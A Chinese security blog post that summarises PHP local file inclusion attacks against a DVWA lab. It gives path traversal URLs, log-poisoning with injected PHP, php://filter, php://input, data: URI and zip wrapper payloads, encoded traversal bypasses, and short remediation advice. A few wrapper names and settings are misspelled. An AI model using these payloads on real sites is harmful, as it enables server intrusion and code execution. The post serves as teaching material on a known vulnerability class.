Local file contains a summary of the vulnerability
前言
之前整理的忘记发博客了,现在补上
正文
本地文件包含总结
漏洞概述
文件包含是PHP的一个功能,可以包含php文件并运行,或者调用被包含的PHP文件里面的函数。但是由于未对用户可控变量进行输入检查,导致用户可以控制被包含的文件,成功利用时可以使web server将特定文件当做php执行,从而导致用户可以获取一定的服务器权限。
漏洞代码如下
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
攻击手法如下
知道绝对路径下可以直接:
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=I:/phpstudy/PHPTutorial/WWW/dd.txt
不知道绝对路径下你可以这样
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=/../../../../../phpstudy/PHPTutorial/WWW/dd.txt
用/../../../../../为相对路径获取
log文件getshell:
利用条件:先看看一些指定的日志文件有没有权限读取,如果有的话就可以getshell了
1.通过扫描出的端口判断有哪些log
2.通过web容器得到对应的log文件
有权限读取Apache的log文件或错误log文件,就是error.log我这里用的是error.log
在url框写入的内容会被记录到log,那么直接写一句话即可,这里写phpinfo测试
http://127.0.0.1/<?php phpinfo();?> 会被记到log文件,然后通过文件包含log文件即可执行
常见的log文件有
apache的log apache.log error.log
系统运行的log ftp.log ssh.log
其他服务的log
包含session文件
利用条件:session文件路径已知,且其中内容部分可控
php的session文件的保存路径可以在phpinfo的session.save_path看到
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码
好像没多少人成功= =
包含environ
要求:php以cgi方式运行,这样environ才会保持UA头,environ文件存储位置已知,且environ文件可读。
用法:
proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。
包含fd
方法过于复杂
参考:shell via LFI - proc/self/environ method
包含上传的文件
要求:知道上传的文件名
例如这里叫xx.jpg
包含临时文件
php在处理文件上传的时候会先创建一个临时文件
条件竞争漏洞+文件包含漏洞
伪协议的利用
协议:php//filer
要求:无
用法:base64编码读到的内容,php://filter/convert.base64-encode/resource=文件路径
php://filter/convert.base64-encode/resource=被包含的文件路径
例如http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=/../../../../../Apache/logs/error.log
协议:php://input
要求:allow_url_include=On,对allow_url_fopen不做要求
用法:在存在包含漏洞的请求变量输入php://input 然后用burp抓包,添加你要执行的代码
协议:php://phar或者zip://
要求:php版本等于大于5.3.0
用法:创建一个压缩包,然后里面添加个txt,txt里面是php代码。然后在存在包含漏洞的请求变量输入php://rar/压缩包名/压缩包里面的txt
注意:windows下必须得知道绝对路径才能使用此协议,而Linux下可以使用相对路径
data:URI schema
协议名:dataURl schema
要求:php版本大于等于php5.2,allow_url_fopen = On,allow_url_include = On
用法:在存在包含漏洞的请求参数,输入data:text/plain,<?php 代码 ?>
执行命令
以bas64的方式来执行
data:text/plain;base64,base64编码的代码
绕过过滤
指定前缀
<?php
if(isset($_GET['file'])){
include 'I:\phpstudy\PHPTutorial\WWW'.$_GET['file'];
}
?>
绕过方式:
使用相对路径
http://127.0.0.1/bh.php?file=/../../../../../1.txt
路径结合起来就是:I:\phpstudy\PHPTutorial\WWW/../../../../../1.txt
1txt在I盘根目录,内容是
16022d6f9581b14aabd64f1476e6bd1a8e119a3a
包含如下:
过滤../
绕过方式:编码绕过
../
%2e%2e%2f
..%2f
%2e%2e/
..\
%2e%2e%5c
..%5c
%2e%2e\
二次编码
../
%252e%252e%252f
..\
%252e%252e%255c
指定后缀
<?php
if(isset($_GET['file'])){
include $_GET['file'].'dd.txt';
}
?>
远程文件包含漏洞+?或#绕过
利用zip协议
注意:这里要用绝对路径,注意压缩包里面的路径
拼接后的路径是I:\phpstudy\PHPTutorial\WWW\demo.zip#dd.txt
导致能够成功绕过
第二个例子:
<?php
if(isset($_GET['file'])){
include $_GET['file'].'WWW/dd.txt';
}
?>
或者用%00截断,不过有些php版本不行
漏洞修补
设置php.ini里面的allow_url_inclue=Off,allow_url_fopen=off
不要让参数可以控制文件包含,如果非要控制的话。就用str_replace()过滤掉.和/那么
这两个过滤之后利用也不可能成功了。然后在手动给参数加上.
转载请声明:转自422926799.github.io
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:Local file contains a summary of the vulnerability
本文作者:九世
发布时间:2019-02-06, 23:31:44
最后更新:2019-04-19, 20:36:16
原始链接:http://jiushill.github.io/posts/f915f25f.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。